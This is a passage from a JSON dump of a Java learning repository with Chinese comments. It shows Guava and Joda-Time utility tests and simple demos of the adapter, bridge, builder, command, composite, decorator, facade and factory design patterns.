Map的过滤\n\t * 例如:查找该集合中大于20岁的人\n\t */\n\tprivate static void filtedMap(){\n\t\tMap<String,Integer> map=new HashMap<String,Integer>();\n\t\tmap.put(\"张三\", 19);\n\t\tmap.put(\"李四\", 20);\n\t\tmap.put(\"王五\", 21);\n\t\tMap<String,Integer> filtedmap =Maps.filterValues(map, \n\t\t\t\tnew Predicate<Integer>(){\n\t\t\t\t\t@Override\n\t\t\t\t\tpublic boolean apply(Integer age) {\n\t\t\t\t\t\treturn age>20;\n\t\t\t\t\t}\n\t\t});\n\t\tSystem.out.println(\"Map:\"+map);\t//Map:{张三=19, 李四=20, 王五=21}\n\t\tSystem.out.println(\"filtedmap:\"+filtedmap);//filtedmap:{王五=21}\n\t}\n\t\n\t/**\n\t * Joiner连接测试\n\t * 不局限于连接String,如果是null，会直接跳过\n\t * \n\t */\n\tprivate static void joiner(){\n\t\t//设置连接符 \n\t\t//如:设置为 \"和\",拼接 “你”，“我” 就变成了“你和我”\n\t\tJoiner joiner=Joiner.on(\",\");\n\t\tString str=joiner.skipNulls().join(\"你好\",\"java\");\n\t\tMap<String,String> map=new HashMap<String,String>();\n\t\tmap.put(\"张三\", \"你好\");\n\t\tmap.put(\"李四\", \"嗨\");\n\t\t//设置键值的连接符以及键与值之间的连接符\n\t\tString str1=Joiner.on(\",\").withKeyValueSeparator(\":\").join(map);\n\t\tSystem.out.println(\"Joiner: \"+str); //Joiner: 你好,java\n\t\tSystem.out.println(\"Joiner: \"+str1); //Joiner: 张三:你好,李四:嗨\n\t}\n\t\n\t/**\n\t * Splitter拆分测试\n\t */\n\tprivate static void splitter(){\n\t\tString str=\"你好,java\";\n\t\t//按字符分割\n\t\tfor(String s:Splitter.on(\",\").split(str)){\n\t\t\tSystem.out.println(\"s:\"+s);\n\t\t}\n\t\t//按固定长度分割\n\t\tfor(String d:Splitter.fixedLength(2).split(str)){\n\t\t\tSystem.out.println(\"d:\"+d);\n\t\t}\n\t}\n\t\n\t/**\n\t * 基本类型测试\n\t */\n\tprivate static void integer(){\n\t\tint []ints={1,4,3,2};\n\t\t//找到里面的最大值\n\t\tSystem.out.println(\"max:\"+Ints.max(ints)); //max:4\n\t\t\n\t\tList<Integer> list=new ArrayList<Integer>();\n\t\tlist.add(1);\n\t\tlist.add(3);\n\t\tlist.add(6);\n\t\t//包装类型集合转变为基本类型集合\n\t\tint []arr=Ints.toArray(list);\n\t\tfor(int i=0,j=arr.length;i<j;i++){\n\t\t\tSystem.out.println(\"arr:\"+arr[i]);\n\t\t}\n\t}\n\t\n\t\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/commons/google/package-info.java",
    "content": "/**\n* @Title: package-info\n* @Description: 谷歌的相关测试代码\n* @Version:1.0.0  \n* @author pancm\n* @date 2018年9月20日\n*/\npackage com.jun.plugin.commons.google;"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/commons/others/JodaTest.java",
    "content": "package com.jun.plugin.commons.others;\n\nimport java.util.Date;\nimport java.util.Locale;\n\nimport org.joda.time.DateTime;\nimport org.joda.time.DateTimeZone;\nimport org.joda.time.Hours;\nimport org.joda.time.MutableDateTime;\nimport org.joda.time.format.DateTimeFormat;\n\n/**\n * \n* Title: JodaTest\n* Description: Joda 时间工具包测试\n* Version:1.0.0  \n* @author pancm\n* @date 2017年11月1日\n */\npublic class JodaTest {\n\n\tpublic static void main(String[] args) {\n\t\tjodaTest();\n\t}\n\t\n\t/**\n\t * 日期方法\n\t */\n\tprivate static void jodaTest(){\n\t\t//当前时间戳\n\t\tDateTime datetime =new DateTime();\n\t\t//当前的英文星期几\n\t\tSystem.out.println(\"Week:\"+datetime.dayOfWeek().getAsText(Locale.ENGLISH));  //Week:Wednesday\n\t\t//本地的日期格式\n\t\tSystem.out.println(\"LocalDate:\"+datetime.toLocalDate()); //LocalDate:2017-11-02\n\t\t//本地的当前时间 包含毫秒\n\t\tSystem.out.println(\"LocalDateTime:\"+datetime.toLocalDateTime()); //LocalDateTime:2017-11-02T08:40:04.529\n\t\t//格式化日期\n\t\tSystem.out.println(\"时间:\"+datetime.toString(DateTimeFormat.forPattern(\"yyyy年M月d日\")));//时间:2017年11月2日\n\t\t\n\t\t//加上100小时之后是星期几(中文)\n\t\tSystem.out.println(\"dayOfWeek:\"+datetime.plusHours(100).dayOfWeek().getAsText(Locale.CHINA));//dayOfWeek:星期一\n\t\t//加100天的日期\n\t\tSystem.out.println(\"toLocalDate():\"+datetime.plusDays(100).toLocalDate()); //toLocalDate():2018-02-10\n\t\t//十年前的今天是星期几(默认中文)\n\t\tSystem.out.println(\"minusYears():\"+datetime.minusYears(10).dayOfWeek().getAsText()); //minusYears():星期五\n\t\t\n\t\t//离双11还有多少小时\n\t\tSystem.out.println(\"离双11的时间:\"+Hours.hoursBetween(datetime,new DateTime(\"2017-11-11\")).getHours()); //离双11的时间:207\n\t\t\n\t\t//伦敦的时间:2017-11-02T01:24:15.139Z\n\t\tSystem.out.println(\"伦敦的时间:\"+datetime.withZone(DateTimeZone.forID(\"Europe/London\")));//伦敦的时间:2017-11-02T01:24:15.139Z\n\t\t\n\t\t//标准时间\n\t\tSystem.out.println(\"标准时间:\"+datetime.withZone(DateTimeZone.UTC));\n\t\t\n\t\t//当前可变的时间\n\t\tMutableDateTime mdt=new MutableDateTime();\n\t\t//10年后的时间\n\t\tDateTime dt=datetime.plusYears(10);\n\t\t\n\t\tSystem.out.println(\"十年之后:\"+dt); //2027-11-02T09:06:36.883+08:00\n\t\t\n\t\twhile(mdt.isBefore(dt)){\n\t\t\t//循环一次加一天\n\t\t\tmdt.addDays(1);\n\t\t\t//是13号，并且是星期五\n\t\t\tif(mdt.getDayOfMonth()==13&&mdt.getDayOfWeek()==5){\n\t\t\t\t//打印出十年内所有的黑色星期五\n\t\t\t\tSystem.out.println(\"黑色星期五:\"+mdt);\n\t\t\t\t/*\n\t\t\t\t *  星期五:2018-04-13T09:13:40.551+08:00\n\t\t\t\t\t星期五:2018-07-13T09:13:40.551+08:00\n\t\t\t\t\t星期五:2019-09-13T09:13:40.551+08:00\n\t\t\t\t\t星期五:2019-12-13T09:13:40.551+08:00\n\t\t\t\t\t星期五:2020-03-13T09:13:40.551+08:00\n\t\t\t\t\t星期五:2020-11-13T09:13:40.551+08:00\n\t\t\t\t\t星期五:2021-08-13T09:13:40.551+08:00\n\t\t\t\t\t星期五:2022-05-13T09:13:40.551+08:00\n\t\t\t\t\t星期五:2023-01-13T09:13:40.551+08:00\n\t\t\t\t\t星期五:2023-10-13T09:13:40.551+08:00\n\t\t\t\t\t星期五:2024-09-13T09:13:40.551+08:00\n\t\t\t\t\t星期五:2024-12-13T09:13:40.551+08:00\n\t\t\t\t\t星期五:2025-06-13T09:13:40.551+08:00\n\t\t\t\t\t星期五:2026-02-13T09:13:40.551+08:00\n\t\t\t\t\t星期五:2026-03-13T09:13:40.551+08:00\n\t\t\t\t\t星期五:2026-11-13T09:13:40.551+08:00\n\t\t\t\t\t星期五:2027-08-13T09:13:40.551+08:00\n\t\t\t\t */\n\t\t\t}\n\t\t}\n\t\t\n\t\t//转换成jdk的Date格式\n\t\tDate jdkDate=datetime.toDate();\n\t\tSystem.out.println(\"jdkDate:\"+jdkDate);  //jdkDate:Thu Nov 02 09:51:13 CST 2017\n\t\t//jdk的Date转换成Joda的Date\n\t\tdatetime=new DateTime(jdkDate);\n\t\tSystem.out.println(\"JodaDate:\"+datetime);//JodaDate:2017-11-02T09:51:13.691+08:00\n\t}\n\t\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/commons/others/package-info.java",
    "content": "/**\n* @Title: package-info\n* @Description: 其它的工具包测试\n* @Version:1.0.0  \n* @author pancm\n* @date 2018年9月21日\n*/\npackage com.jun.plugin.commons.others;"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/commons/package-info.java",
    "content": "/**\n* @Title: package-info\n* @Description: 这里的commons指第三方的一些工具测试类\n* @Version:1.0.0  \n* @author pancm\n* @date 2018年9月20日\n*/\npackage com.jun.plugin.commons;"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/design/adapter/AdapterTest.java",
    "content": "package com.jun.plugin.design.adapter;\n\n/**\n* @Title: AdapterTest\n* @Description: \n* 适配器模式\n* 将一个类的接口转换成客户希望的另外一个接口。适配器模式使得原本由于接口不兼容而不能一起工作的那些类可以一起工作。\n* \n* 有两种种模式\n* 1.类适配器模式\n* 2.对象适配器模式\n* @Version:1.0.0  \n* @author pancm\n* @date 2018年8月8日\n*/\npublic class AdapterTest {\n\n\tpublic static void main(String[] args) {\n\t\t/*\n\t\t * 1.类适配器模式 \n\t\t * 通过继承来实现适配器功能。\n\t\t * 有一个视频播放器，但是只能播放MP4格式的视频\n\t\t * 有一个AVI格式的视频需要播放，这时便可以使用格式工厂软件进行转换(适配器)进行转换成MP4格式，然后就可以播放了\n\t\t */\n\t\tMp4 mp4=new VideoPlayer();\n\t\tmp4.playMp4();\n\t\tAvi avi=new FormatFactory();\n\t\tavi.playAvi();\n\t\t\n\t\t/*\n\t\t * 2.对象适配器模式\n\t\t * 通过组合来实现适配器功能。\n\t\t * 推荐使用对象适配器模式，设计原则的合成复用原则中描述，尽量使用合成/聚合的方式，而不是使用继承。\n\t\t * \n\t\t */\n\t\tRvmb rvmb=new FormatFactory2(new VideoPlayer());\n\t\trvmb.playRvmb();\n\t\t\n\t\t\n\t}\n}\n\n\ninterface Mp4{\n\tvoid playMp4();\n}\n\ninterface Avi{\n\tvoid playAvi();\n}\n\n\ninterface Rvmb{\n\tvoid playRvmb();\n}\n\n/**\n * \n* @Title: VideoPlayer\n* @Description: 视频播放器\n* @Version:1.0.0  \n* @author pancm\n* @date 2018年8月21日\n */\nclass VideoPlayer implements Mp4{\n\n\t@Override\n\tpublic void playMp4() {\n\t\tSystem.out.println(\"播放Mp4格式的视频文件.\");\n\t}\n}\n\n\n/**\n * \n* @Title: FormatFactory\n* @Description: 格式工厂\n* @Version:1.0.0  \n* @author pancm\n* @date 2018年8月21日\n */\nclass FormatFactory extends VideoPlayer  implements Avi{\n\n\t@Override\n\tpublic void playAvi() {\n\t\t//转换成MP4格式的视频\n\t\tplayMp4();\n\t}\n}\n\n\n/**\n * \n* @Title: FormatFactory2\n* @Description: 格式工厂\n* @Version:1.0.0  \n* @author pancm\n* @date 2018年8月21日\n */\nclass FormatFactory2  implements Rvmb{\n\tprivate Mp4 mp4;\n\t\n\t public FormatFactory2(Mp4 mp4) {\n\t\tthis.mp4=mp4;\n   \t}\n\t\n\t@Override\n\tpublic void playRvmb() {\n\t\tmp4.playMp4();\n\t}\n\t\n}\n\n\n\n"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/design/adapter/package-info.java",
    "content": "/**\n* @Title: package-info\n* @Description: 适配器模式\n* @Version:1.0.0  \n* @author pancm\n* @date 2018年8月8日\n*/\npackage com.jun.plugin.design.adapter;"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/design/bridge/BridgeTest.java",
    "content": "package com.jun.plugin.design.bridge;\n\n/**\n* @Title: BridgeTest\n* @Description:桥接模式 \n* 将抽象部分与实现部分分离，使它们都可以独立的变化。\n* @Version:1.0.0  \n* @author pancm\n* @date 2018年8月8日\n*/\npublic class BridgeTest {\n\tpublic static void main(String[] args) {\n\t\tPaper paper=new ExaminationPaper();\n\t\tpaper.setPen(new RedPen());\n\t\tpaper.writing();\n\t\t\n\t\tPaper paper2=new NewsPaper();\n\t\tpaper2.setPen(new BlackPen());\n\t\tpaper2.writing();\n\t}\n}\n\n/**\n * \n* @Title: ColourPen\n* @Description: \n* 笔 \n* @Version:1.0.0  \n* @author pancm\n* @date 2018年8月22日\n */\ninterface Pen{\n\tvoid write();\n}\n\nclass RedPen implements Pen{\n\t@Override\n\tpublic void write() {\n\t\tSystem.out.println(\"红色的字\");\n\t}\n}\n\nclass BlackPen implements Pen{\n\t@Override\n\tpublic void write() {\n\t\tSystem.out.println(\"黑色的字\");\n\t}\n}\n\n\nabstract class  Paper{\n\tprotected  Pen pen;\n\t\n\tvoid setPen(Pen pen){\n\t\tthis.pen=pen;\n\t}\n\t\n\tabstract void writing();\n}\n\n/**\n * \n* @Title: ExaminationPaper\n* @Description:考试用的卷子 \n* @Version:1.0.0  \n* @author pancm\n* @date 2018年8月22日\n */\nclass ExaminationPaper extends Paper{\n\t@Override\n\tvoid writing() {\n\t\tpen.write();\n\t}\n}\n\nclass NewsPaper extends Paper{\n\t@Override\n\tvoid writing() {\n\t\tpen.write();\n\t}\n}\n\n"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/design/bridge/package-info.java",
    "content": "/**\n* @Title: package-info\n* @Description: 桥接模式 \n* @Version:1.0.0  \n* @author pancm\n* @date 2018年8月8日\n*/\npackage com.jun.plugin.design.bridge;"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/design/builder/BuilderTest.java",
    "content": "package com.jun.plugin.design.builder;\n\n/**\n* @Title: BuilderTest\n* @Description: \n* 建造者模式\n* 将一个复杂的构建与其表示相分离，使得同样的构建过程可以创建不同的表示。\n* @Version:1.0.0  \n* @author pancm\n* @date 2018年8月7日\n*/\npublic class BuilderTest {\n\n\tpublic static void main(String[] args) {\n\t\tFoodStore foodStore=new FoodStore();\n\t\tMeal meal=foodStore.createBreakfast(new Breakfast());\n\t\tMeal meal2=foodStore.createBreakfast(new Lunch());\n\t\tSystem.out.println(\"小明早上吃的是:\"+meal.getFood()+\",喝的饮料是:\"+meal.getDrinks());\n\t\tSystem.out.println(\"小明中午吃的是:\"+meal2.getFood()+\",喝的饮料是:\"+meal2.getDrinks());\n\t\t\n\t}\n\n}\n\n/**\n * \n* @Title: Breakfast\n* @Description: \n* 定义一份餐点\n* 分为吃的和喝的\n* @Version:1.0.0  \n* @author pancm\n* @date 2018年8月7日\n */\nclass Meal{\n\tprivate String food;\n\tprivate String drinks;\n\t\n\tpublic String getFood() {\n\t\treturn food;\n\t}\n\tpublic void setFood(String food) {\n\t\tthis.food = food;\n\t}\n\t\n\tpublic String getDrinks() {\n\t\treturn drinks;\n\t}\n\tpublic void setDrinks(String drinks) {\n\t\tthis.drinks = drinks;\n\t}\n}\n\n/**\n * \n* @Title: IBuilderFood\n* @Description: \n* 定义一个食物接口\n* @Version:1.0.0  \n* @author pancm\n* @date 2018年8月7日\n */\ninterface IBuilderFood{\n\tvoid buildFood();\n\tvoid buildDrinks();\n\tMeal createMeal();\n}\n\n/**\n * \n* @Title: Breakfast\n* @Description:定义一份早餐\n* @Version:1.0.0  \n* @author pancm\n* @date 2018年8月7日\n */\nclass Breakfast implements IBuilderFood{\n\tMeal meal;\n\n\tpublic Breakfast(){\n\t\tmeal=new Meal();\n\t}\n\t\n\t@Override\n\tpublic void buildFood() {\n\t\tmeal.setFood(\"煎饼\");\n\t}\n\n\t@Override\n\tpublic void buildDrinks() {\n\t\tmeal.setDrinks(\"豆浆\");\t\n\t}\n\t\n\t@Override\n\tpublic Meal createMeal() {\n\t\treturn meal;\n\t}\n}\n\n/**\n * \n* @Title: Lunch\n* @Description: 定义一份午餐\n* @Version:1.0.0  \n* @author pancm\n* @date 2018年8月15日\n */\nclass Lunch implements IBuilderFood{\n\tMeal meal;\n\n\tpublic Lunch(){\n\t\tmeal=new Meal();\n\t}\n\t\n\t@Override\n\tpublic void buildFood() {\n\t\tmeal.setFood(\"盒饭\");\n\t}\n\n\t@Override\n\tpublic void buildDrinks() {\n\t\tmeal.setDrinks(\"果汁\");\t\n\t}\n\t\n\t@Override\n\tpublic Meal createMeal() {\n\t\treturn meal;\n\t}\n}\n\n/**\n * \n* @Title: FoodStore\n* @Description: \n* 定义一个餐点\n* 导演者\n* @Version:1.0.0  \n* @author pancm\n* @date 2018年8月15日\n */\nclass FoodStore{\n\tpublic Meal createBreakfast(IBuilderFood bf){\n\t\tbf.buildDrinks();\n\t\tbf.buildFood();\n\t\treturn bf.createMeal();\n\t}\n}\n\n"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/design/builder/package-info.java",
    "content": "/**\n* @Title: package-info\n* @Description:建造者模式 \n* @Version:1.0.0  \n* @author pancm\n* @date 2018年8月7日\n*/\npackage com.jun.plugin.design.builder;"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/design/command/CommandTest.java",
    "content": "package com.jun.plugin.design.command;\n\nimport java.util.ArrayList;\nimport java.util.List;\n\n/**\n* @Title: CommandTest\n* @Description:命令模式 \n  命令模式（Command Pattern）是一种数据驱动的设计模式，它属于行为型模式。\n  请求以命令的形式包裹在对象中，并传给调用对象。调用对象寻找可以处理该命令的合适的对象，并把该命令传给相应的对象，该对象执行命令.\n  核心:将一个请求封装成一个对象，从而可以用不同的请求对客户进行参数化。\n* @Version:1.0.0  \n* @author pancm\n* @date 2018年8月8日\n*/\npublic class CommandTest {\n\n\tpublic static void main(String[] args) {\n\t\t\n\t\t/*\n\t\t * 基本使用\n\t\t * 所需的角色\n\t\t * 1、received 真正的命令执行对象 ;\n\t\t * 2、Command  ;\n\t\t * 3、invoker 使用命令对象的入口;\n\t\t */\n\t\tString name = \"xuwujing\";\n\t\tStudent student = new  Student();\n\t\tCommand command1 = new LiTeacher(student);\n\t\tCommand command2 = new WangTeacher(student);\n\t\tInvoker invoker =new Invoker();\n\t\tinvoker.setCommand(command1);\n\t\tinvoker.setCommand(command2);\n\t\tinvoker.executeCommand(name);\n\t\t\n\t\t/*\n\t\t * 优点： 1、降低了系统耦合度。 2、新的命令可以很容易添加到系统中去。\n\t\t         缺点：使用命令模式可能会导致某些系统有过多的具体命令类。\n\t\t */\n\t}\n\n}\n\n//定义一个学生\nclass Student{\n\t\n\tvoid cleanClassRoom(String name){\n\t\tSystem.out.println(name+\" 开始打扫教室...\");\n\t}\n\tvoid doHomeWork(String name){\n\t\tSystem.out.println(name+\" 开始做作业...\");\n\t}\n}\n\n//定义一个命令抽象类\nabstract class Command{\n\tprotected Student student;\n\tpublic Command(Student student){\n\t\tthis.student = student;\n\t}\n\t//执行方法\n\tabstract void execute(String name);\n}\n\n//将一个接收者和动作进行绑定，调用接收者相应的操作\nclass LiTeacher extends Command{\n\tpublic LiTeacher(Student student) {\n\t\tsuper(student);\n\t}\n\t@Override\n\tvoid execute(String name) {\n\t\tstudent.cleanClassRoom(name);\n\t}\n}\n\n//将一个接收者和动作进行绑定，调用接收者相应的操作\nclass WangTeacher extends Command{\n\tpublic WangTeacher(Student student) {\n\t\tsuper(student);\n\t}\n\t@Override\n\tvoid execute(String name) {\n\t\tstudent.doHomeWork(name);\n\t}\n}\n\n\n//用于执行这个请求\nclass Invoker {\n\tprivate List<Command> commands = new ArrayList<Command>();\n\t\n\t\n\t//添加这个命令\n\tpublic void setCommand(Command command) {\n\t\t//设置执行命令的\n\t\tif(command.toString().indexOf(\"WangTeacher\")>-1) {\n\t\t\tSystem.out.println(\"不执行 WangTeacher 的命令!\");\n\t\t}else {\n\t\t\tcommands.add(command);\n\t\t}\n\t}\n\t\n\t//执行这个命令\n\tpublic void executeCommand(String name) {\n\t\tcommands.forEach(command->{\n\t\t\tcommand.execute(name);\n\t\t});\n\t}\n\t\n\t//撤销这个命令\n\tpublic void undoCommand(Command command) {\n\t\tcommands.remove(command);\n\t\tSystem.out.println(\"撤销该命令!\");\n\t}\n\t\n}"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/design/command/package-info.java",
    "content": "/**\n* @Title: package-info\n* @Description: 命令模式\n* @Version:1.0.0  \n* @author pancm\n* @date 2018年8月8日\n*/\npackage com.jun.plugin.design.command;"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/design/composite/CompositeTest.java",
    "content": "package com.jun.plugin.design.composite;\n\nimport java.util.ArrayList;\nimport java.util.List;\n\n/**\n* @Title: CompositeTest\n* @Description: 组合模式\n* 将对象组合成树形结构以表示\"部分-整体\"的层次结构。组合模式使得用户对单个对象和组合对象的使用具有一致性。\n* @Version:1.0.0  \n* @author pancm\n* @date 2018年8月8日\n*/\npublic class CompositeTest {\n\n\tpublic static void main(String[] args) {\n\t\t/*\n\t\t *  建立一个学生类，包含学生姓名和职位\n\t\t *  \n\t\t */\n\t\tStudent studentLeader=new Student(\"小明\",\"学生会主席\");\n\n\t\tStudent committeeMember=new Student(\"小刚\",\"学生会委员\");\n\t\t\n\t\tStudent student=new Student(\"小红\",\"学生\");\n\t\t\n\t\tcommitteeMember.add(student);\n\t\tstudentLeader.add(committeeMember);\n\t\t\n\t\tSystem.out.println(\"-\"+studentLeader);\n\t\tstudentLeader.get().forEach(sl->{\n\t\t\tSystem.out.println(\"--\"+sl);\n\t\t\tsl.get().forEach(cm->{\n\t\t\t\tSystem.out.println(\"---\"+cm);\n\t\t\t});\n\t\t});\n\t\t\n\t\t/*\n\t\t * -Student [name=小明, position=学生会主席]\n\t\t\t--Student [name=小刚, position=学生会委员]\n\t\t\t---Student [name=小红, position=学生]\n\t\t */\n\t}\n\n}\n\nclass Student{\n\tprivate String name;\n\t\n\tprivate String position;\n\t\n\tprivate List<Student> students;\n\n\tpublic Student(String name, String position) {\n\t\tthis.name = name;\n\t\tthis.position = position;\n\t\tstudents=new ArrayList<Student>();\n\t}\n\t\n\t\n\tpublic void add(Student student){\n\t\tstudents.add(student);\n\t}\n\t\n\tpublic void remove(Student student){\n\t\tstudents.remove(student);\n\t}\n\t\n\tpublic List<Student> get(){\n\t\treturn students;\n\t}\n\n\n\t/** \n\t * \n\t */\n\t@Override\n\tpublic String toString() {\n\t\treturn \"Student [name=\" + name + \", position=\" + position + \"]\";\n\t}\n\t\n\t\n}"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/design/composite/package-info.java",
    "content": "/**\n* @Title: package-info\n* @Description: 组合模式\n* @Version:1.0.0  \n* @author pancm\n* @date 2018年8月8日\n*/\npackage com.jun.plugin.design.composite;"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/design/decorator/DecoratorTest.java",
    "content": "package com.jun.plugin.design.decorator;\n\n/**\n* @Title: DecoratorTest\n* @Description: 装饰器模式\n* 动态地给一个对象添加一些额外的职责。就增加功能来说，装饰器模式相比生成子类更为灵活。\n* 比如一个人，可以穿不同的装饰，外套、T恤、短裤、西服等等\n* 人是不变的\nComponent抽象构件角色：真实对象和装饰对象有相同的接口。这样，客户端对象就能够以与真实对象相同的方式同装饰对象交互。\nConcreteComponent具体构件角色（真实对象）：io流中的FileInputStream、　　　　FileOutputStream\nDecorator装饰角色：持有一个抽象构件的引用。装饰对象接受所有客户端的请求，并把这些请求转发给真实的对象。这样，就能在真实对象调用前后增加新的功能。\nConcreteDecorator具体装饰角色：负责给构件对象增加新的责任。\n* @Version:1.0.0  \n* @author pancm\n* @date 2018年8月8日\n*/\npublic class DecoratorTest {\n\tpublic static void main(String[] args) {\n\t\t//组装模型\n\t\tModel gundam=new GUNDAM();\n\t\tModel mrgu=new MrGu();\n\t\tgundam.assemble();\n\t\tmrgu.assemble();\n\t\t\n\t\t//组装模型并添加武器\n\t\tModel gModel=new LightSaber(new GUNDAM());\n\t\tgModel.assemble();\n\t\tModel mModel=new RocketLauncher(new MrGu());\n\t\tmModel.assemble();\n\t\t\n\t\t/*\n\t\t * \n\t\t组装一个高达模型\n\t\t组装一个扎古模型\n\t\t组装一个高达模型\n\t\t添加光剑\n\t\t组装一个扎古模型\n\t\t添加火箭筒\n\t\t */\n\t}\n}\n\n\ninterface Model{\n\tvoid  assemble();\n}\n\nclass GUNDAM implements Model{\n\t@Override\n\tpublic void  assemble() {\n\t\tSystem.out.println(\"组装一个高达模型\");\n\t}\n}\n\nclass MrGu implements Model{\n\t@Override\n\tpublic void  assemble() {\n\t\tSystem.out.println(\"组装一个扎古模型\");\n\t}\n}\n\n//添加额外的功能\n//装饰器\nabstract class  AddExtra implements Model{\n\tprotected  Model model;\n\t\n\tpublic AddExtra(Model model){\n\t\tthis.model=model;\n\t}\n\tpublic  void assemble(){\n\t\tmodel.assemble();\n\t}\n}\n\n//添加光剑\nclass LightSaber extends AddExtra{\n\n\tpublic LightSaber(Model model) {\n\t\tsuper(model);\n\t}\n\t\n\tpublic  void assemble(){\n\t\tmodel.assemble();\n\t\taddLightSaber();\n\t}\n\tpublic void addLightSaber(){\n\t\tSystem.out.println(\"添加光剑\");\n\t}\n}\n\n\n//添加火箭筒\nclass RocketLauncher extends AddExtra{\n\n\tpublic RocketLauncher(Model model) {\n\t\tsuper(model);\n\t}\n\t\n\tpublic  void assemble(){\n\t\tmodel.assemble();\n\t\taddRocketLauncher();\n\t}\n\tpublic void addRocketLauncher(){\n\t\tSystem.out.println(\"添加火箭筒\");\n\t}\n}\n\n\n\n\n\n"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/design/decorator/package-info.java",
    "content": "/**\n* @Title: package-info\n* @Description: 装饰器模式\n* @Version:1.0.0  \n* @author pancm\n* @date 2018年8月8日\n*/ \npackage com.jun.plugin.design.decorator;"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/design/facade/FacadeTest.java",
    "content": "package com.jun.plugin.design.facade;\n\n/**\n* @Title: FacadeTest\n* @Description: \n* 外观模式测试代码\n* \n* 为子系统中的一组接口提供一个一致的界面，外观模式定义了一个高层接口，这个接口使得这一子系统更加容易使用。\n* \n* 比如windows开机:启动CPU、启动内存、启动硬盘\n* windows关机:关闭硬盘、关闭内存、关闭CPU\n* \n* @Version:1.0.0  \n* @author pancm\n* @date 2018年8月8日\n*/\npublic class FacadeTest {\n\n\tpublic static void main(String[] args) {\n\t\t\n\t\t/*\n\t\t * 对外提供 一个界面\n\t\t * 游戏装在电脑上，想玩游戏就在电脑启动游戏就可以了\n\t\t */\n\t\tComputer computer=new Computer();\n\t\tcomputer.playDNF();\n\t\tcomputer.playLOL();\n\t\tcomputer.playWOW();\n\t}\n}\n\ninterface Game{\n\tvoid play();\n}\n\nclass DNF implements Game{\n\n\t@Override\n\tpublic void play() {\n\t\tSystem.out.println(\"正在玩DNF...\");\n\t}\n}\n\nclass LOL implements Game{\n\t@Override\n\tpublic void play() {\n\t\tSystem.out.println(\"正在玩LOL...\");\n\t}\n}\n\nclass WOW implements Game{\n\t@Override\n\tpublic void play() {\n\t\tSystem.out.println(\"正在玩WOW...\");\n\t}\n}\n\nclass Computer{\n\t\n\tprivate Game dnf;\n\tprivate Game lol;\n\tprivate Game wow;\n\t\n\tpublic Computer() {\n\t\tdnf=new DNF();\n\t\tlol=new LOL();\n\t\twow=new WOW();\n\t}\n\t\n\tpublic void playDNF(){\n\t\tdnf.play();\n\t}\n\t\n\tpublic void playLOL(){\n\t\tlol.play();\n\t}\n\t\n\tpublic void playWOW(){\n\t\twow.play();\n\t}\n\t\n\t\n}"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/design/facade/package-info.java",
    "content": "/**\n* @Title: package-info\n* @Description: 外观模式\n* @Version:1.0.0  \n* @author pancm\n* @date 2018年8月8日\n*/\npackage com.jun.plugin.design.facade;"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/design/factory/FactoryTest.java",
    "content": "package com.jun.plugin.design.factory;\n\n/**\n* @Title: FactorymTest\n* @Description: \n* 简单工厂模式测试\n* @Version:1.0.0  \n* @author pancm\n* @date 2018年7月23日\n*/\npublic class FactoryTest {\n\tprivate static final String LOL=\"LOL\"; \n\tprivate static final String DNF=\"DNF\"; \n\t/**\n\t * @param args\n\t */\n\tpublic static void main(String[] args) {\n\t\t/**\n\t\t * 简单工厂模式\n\t\t * 根据条件决定一个接口由哪个具体产品类来实现\n\t\t * 优点:\n\t\t * 缺点:扩展性差\n\t\t */\n\t\tGame game= ComputerFactory.playGame(LOL);\n\t\tGame game2= ComputerFactory.playGame(DNF);\n\t\tgame.play();\n\t\tgame2.play();\n\t\t\n\t\t/**\n\t\t * 工厂方法模式\n\t\t * \n\t\t * 优点:扩展性高\n\t\t * 缺点:增加了复杂度\n\t\t */\n\t\tGame game3=new LOLFactory().playGame();\n\t\tGame game4=new DNFFactory().playGame();\n\t\tGame game5=new WOWFactory().playGame();\n\t\tgame3.play();\n\t\tgame4.play();\n\t\tgame5.play();\n\t\t\n\t\t\n\t\t/**\n\t\t * 抽象工厂模式\n\t\t * \n\t\t * 优点:\n\t\t * \n\t\t */\n\t\tComputerFactory3 cf3=new PVPFactory();\n\t\tcf3.playGame().play();\n\t\tcf3.playGame2().play();\n\t\tComputerFactory3 cf4=new PVEFactory();\n\t\tcf4.playGame().play();\n\t\tcf4.playGame2().play();\n\t\t\n\t\t\n\t}\n\t\n\t\n\t\n\t\n}\n\n/**\n * 定义一个接口\n */\ninterface Game{\n\tvoid play();\n}\n\n/**\n * 定义一个实现类\n */\nclass LOL implements Game{\n\t@Override\n\tpublic void play() {\n\t\tSystem.out.println(\"正在玩LOL...\");\n\t}\t\n}\n\nclass DNF implements Game{\n\t@Override\n\tpublic void play() {\n\t\tSystem.out.println(\"正在玩DNF...\");\n\t}\t\n}\n\nclass WOW  implements Game{\n\t@Override\n\tpublic void play() {\n\t\tSystem.out.println(\"正在玩WOW...\");\n\t}\t\n}\n\n/**\n * 定义一个电脑\n */\nclass ComputerFactory{\n\tprivate static final String LOL=\"LOL\"; \n\tprivate static final String DNF=\"DNF\"; \n\t//玩游戏\n\t public static Game playGame(String 